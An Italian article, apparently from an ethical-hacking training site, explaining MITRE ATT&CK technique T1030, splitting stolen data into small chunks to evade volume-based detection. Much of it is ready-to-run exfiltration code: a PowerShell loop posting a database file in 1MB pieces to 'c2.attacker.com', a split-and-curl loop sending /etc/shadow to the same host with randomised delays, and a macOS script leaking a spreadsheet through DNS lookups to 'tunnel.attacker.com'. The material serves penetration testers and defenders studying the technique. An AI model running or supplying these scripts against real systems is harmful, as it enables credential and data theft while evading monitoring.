Suddivisione Dati in Blocchi: Data Transfer Size Limits (T1030)

La frammentazione strategica dei dati rappresenta una tecnica sofisticata nell'arsenale degli attaccanti moderni. Quando un avversario suddivide file o informazioni sensibili in blocchi di dimensioni predefinite, spesso riesce a passare inosservato sotto i radar dei sistemi di sicurezza tradizionali. Questa metodologia si inserisce nella fase di Exfiltration (TA0010) della kill chain, manifestandosi nel momento cruciale in cui l'attaccante cerca di sottrarre i frutti del proprio lavoro dall'infrastruttura compromessa.

L'impatto di questa tecnica è tangibile nei numeri: 5 gruppi APT documentati la utilizzano attivamente, supportati da 14 software specializzati e osservata in 2 campagne di alto profilo. La pericolosità risiede nella sua semplicità apparente: invece di trasferire un file da 100MB che potrebbe attivare immediatamente un alert, l'attaccante lo divide in 100 parti da 1MB ciascuna, mimando il normale traffico di rete.

La bellezza malevola di questo approccio sta nel suo sfruttamento delle soglie di detection. Molte organizzazioni configurano alert per trasferimenti superiori a determinati limiti, creando involontariamente una zona cieca per chi sa come sfruttarla.

Durante un penetration test, simulare l'esfiltrazione frammentata richiede precisione chirurgica. Su Windows, il comando PowerShell diventa il vostro alleato principale:

$file = [System.IO.File]::ReadAllBytes("C:\sensitive\database.sql")
$chunkSize = 1024 * 1024  # 1MB chunks
for($i=0; $i -lt $file.Length; $i+=$chunkSize) {
    $chunk = $file[$i..([Math]::Min($i+$chunkSize-1, $file.Length-1))]
    Invoke-RestMethod -Uri "https://c2.attacker.com/upload" -Method Post -Body $chunk
    Start-Sleep -Seconds 30  # Evade rate limiting
}

L'implementazione Linux sfrutta invece la potenza di split combinata con curl per orchestrare il trasferimento:

split -b 1M /etc/shadow shadow_chunk_
for chunk in shadow_chunk_*; do
    curl -X POST -H "Content-Type: application/octet-stream" \
         --data-binary "@$chunk" https://c2.attacker.com/upload
    sleep $((RANDOM % 60 + 10))  # Random delay 10-70 seconds
done

Cobalt Strike automatizza elegantemente questo processo. Il framework spezza automaticamente i dati in chunk quando si utilizza il comando download, gestendo internamente la frammentazione per evitare detection basate su volume.

Per macOS, l'approccio richiede attenzione particolare alle peculiarità del sistema. Lo script seguente dimostra come frammentare ed esfiltrare attraverso DNS tunneling:

#!/bin/bash
dd if=/Users/target/Documents/secrets.xlsx bs=23 | while read -r chunk; do
    encoded=$(echo "$chunk" | base64 | tr -d '\n')
    nslookup "$encoded.tunnel.attacker.com"
done

Il tool Rclone offre funzionalità native di chunking particolarmente utili. La configurazione --chunker-chunk-size=1M divide automaticamente file di grandi dimensioni durante l'upload verso servizi cloud, perfetto per simulare scenari realistici di data theft attraverso canali apparentemente legittimi.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.